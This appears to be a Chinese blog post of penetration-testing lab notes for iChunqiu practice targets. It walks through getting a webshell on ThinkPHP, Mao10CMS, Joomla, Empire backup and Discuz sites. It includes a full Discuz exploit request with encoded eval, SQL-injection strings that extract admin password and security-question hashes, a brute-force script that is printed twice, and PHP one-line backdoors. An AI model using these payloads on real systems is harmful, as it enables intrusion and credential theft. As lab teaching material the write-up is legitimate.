ITest

渗透测试入门

 

我很简单,请不要欺负我

 

 

网站综合渗透实验:

 

 

真的很简单:

 

 

你是会员吗:

 

 

 

 

 

2015中国网络安全大赛

一、代码执行:

同DZ漏洞全家桶中的"又见DZ,我能那你怎么办"。

二、Session欺骗:(so奇葩)

  1. www.xxx.xxx/admin/ 存在目录遍历;
  2. 禁用JS后居然可以获取后台!
  3. 不仅有后台,而且可以修改管理员密码!
  4. 在软件上传栏目中,系统使用白名单,可以直接上传php;
  5. Getshell。

三、越权访问:

  1. 帝国备份王,万能Cookie漏洞;
  2. BurpSuit 自动替换Cookie。
  3. 利用数据库备份写入一句话。(正则替换备份文件内容为一句话)
  4. Getshell。

 

四、信息泄露:

  1. 获取configuration.php~备份文件;
  2. 利用configuration文件中的账号密码登录phpmyadmin;
  3. 利用phpmyadmin重置admin密码;
  4. 登录Joomla后台,修改template代码,插入一句话;
  5. 连接一句话,www.xxx.com/templates/atom/index.php

 

五、框架漏洞:

  1. ThinkPHP单一入口漏洞;
  2. http://www.test.ichunqiu/index.php/module/action/param1{${eval($_POST[chopper])}};
  3. 连接地址如上,密码chopper;
  4. Getshell。

 

六、Reinstall:

  1. Mao10CMS前台getshell漏洞;
  2. 存在Install.php.bak文件。/install.php安装脚本里面直接就是初始化数据库,然后写入配置文件:./Application/Common/Conf/db.php 安装文件没有做任何过滤。只能写db_prefix,因为只有他不写入数据库,而已写入配置文件,这样我们就能拿到webshell了。

',@eval ($_POST["chopper"]), //

 

 

DZ漏洞全家桶

 

一、这不是DZ漏洞?

  1. Discuz!X系列转换工具任意代码写入漏洞。在www.test.ichunqiu/utility/convert页面;
  2. 使用EXP。

    POST /utility/convert/index.php?a=config&source=d7.2_x2.0 HTTP/1.1

    Host: www.test.ichunqiu

    User-Agent: Mozilla/5.0 (Windows NT 6.1; rv:25.0) Gecko/20100101 Firefox/2X.0

    Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8

    Accept-Language: zh-cn,zh;q=0.8,en-us;q=0.5,en;q=0.3

    Accept-Encoding: gzip, deflate

    Connection: keep-alive

    Content-Length: 199

    Content-Type: application/x-www-form-urlencoded

    newconfig[aaa%0a%0deval(CHR(101).CHR(118).CHR(97).CHR(108).CHR(40).CHR(34).CHR(36).CHR(95).CHR(80).CHR(79).CHR(83).CHR(84).CHR(91).CHR(99).CHR(93).CHR(59).CHR(34).CHR(41).CHR(59));//]=aaaa&submit=yes

  3. 连接www.test.ichunqiu/utility/convert/data/config.inc.php 密码c;
  4. Getshell。

 

二、又见DZ,我能拿你怎么办:

  1. 打开论坛,看下版本是dz!6.0 有一个投票注入漏洞,于是注册新用户soso,发起新投票,发现没有权限。
  2. 浏览论坛,发现test1账号,存在弱口令test1,拥有版主权限。
  3. 用test1账号发起投票,在"编辑"时用Burpsuit抓包。
  4. EXP:测试漏洞是否存在:' or updatexml(1,concat(0x7e,(version())),0) or ''='(注意删除内容。)
  5. 爆破管理员密码

    ' or updatexml(1,concat(0x7e,(select password from cdb_members where uid=1)),0) or ''='

    得到31位md5值"b10a9a82cf828627be682033e6c58780",手工添加一位后,在线破解,得admin密码:whoami!@#123

  6. 登录时发现有安全提问,于是继续用burpsuite 爆安全提问答案

    构造语句:' or updatexml(1,concat(0x7e,(select secques from cdb_members where uid=1)),0) or ''='

    得到加密字符串"~61a55235",利用以下脚本爆破,得安全问题为第七个问题,答案为"9595"。

     

    (1),将安全问题的value md5加密得到一个加密串

    (2),将问题的答案与上一步的加密串连接组成新的字符串后再md5加密得到另一个加密串

    (3),取第二步得出的加密串的第17位至24位的8位字符串存储到数据库

     

    自己写一个py脚本通过密码字典与得到到八位加密串碰撞得出安全提问答案,代码如下:

     

    DiscuzWendaCrack.py

    import md5

     

    md51 = 'c4ca4238a0b923820dcc509a6f75849b'

    md52 = 'c81e728d9d4c2f636f067f89cc14862c'

    md53 = 'eccbc87e4b5ce2fe28308fd9f2a7baf3'

    md54 = 'a87ff679a2f3e71d9181a67b7542122c'

    md55 = 'e4da3b7fbbce2345d7772b0674a318d5'

    md56 = '1679091c5a880faf6fb5e6087eb1b2dc'

    md57 = '8f14e45fceea167a5a36dedd4bea2543'

    arr = [md51,md52,md53,md54,md55,md56,md57]

    crackstr = '61a55235'

    aa = 1

    f = open("foo.txt")

    line = f.readline()

    while line:

    line=line.strip('\n')

    i=0

    for md in arr:

    i = i+1

    m1 = md5.new()

    m1.update(line+md)

    jiamistr = m1.hexdigest()

    if not crackstr in jiamistr:

    print line+'('+str(i)+'):unsuccess'

    else:

    print line+'('+str(i)+'):'+jiamistr

    aa=0;

    break

    line = f.readline()

    if not aa:

    break

     

    f.close()

     

    DiscuzWendaCrack.py

    import md5

     

    md51 = 'c4ca4238a0b923820dcc509a6f75849b'

    md52 = 'c81e728d9d4c2f636f067f89cc14862c'

    md53 = 'eccbc87e4b5ce2fe28308fd9f2a7baf3'

    md54 = 'a87ff679a2f3e71d9181a67b7542122c'

    md55 = 'e4da3b7fbbce2345d7772b0674a318d5'

    md56 = '1679091c5a880faf6fb5e6087eb1b2dc'

    md57 = '8f14e45fceea167a5a36dedd4bea2543'

    arr = [md51,md52,md53,md54,md55,md56,md57]

    crackstr = '61a55235'

    aa = 1

    f = open("foo.txt")

    line = f.readline()

    while line:

    line=line.strip('\n')

    i=0

    for md in arr:

    i = i+1

    m1 = md5.new()

    m1.update(line+md)

    jiamistr = m1.hexdigest()

    if not crackstr in jiamistr:

    print line+'('+str(i)+'):unsuccess'

    else:

    print line+'('+str(i)+'):'+jiamistr

    aa=0;

    break

    line = f.readline()

    if not aa:

    break

     

    f.close()

     

    密码字典foo.txt是生成的3位到5位的纯数字

     

  1. 登录后台通过 论坛管理--模板编辑--详情--customfaq编辑写入一句话木马 eval($_POST[soso]);注意在<?之后位置写入保存。
  2. Getshell,连接地址templates\default\customfaq.lang.php。

 

 

 

 

 

linhai19760812

only_system

posted on 2017-01-10 14:54  起个名咋就这么难  阅读(733)  评论(0编辑  收藏  举报

导航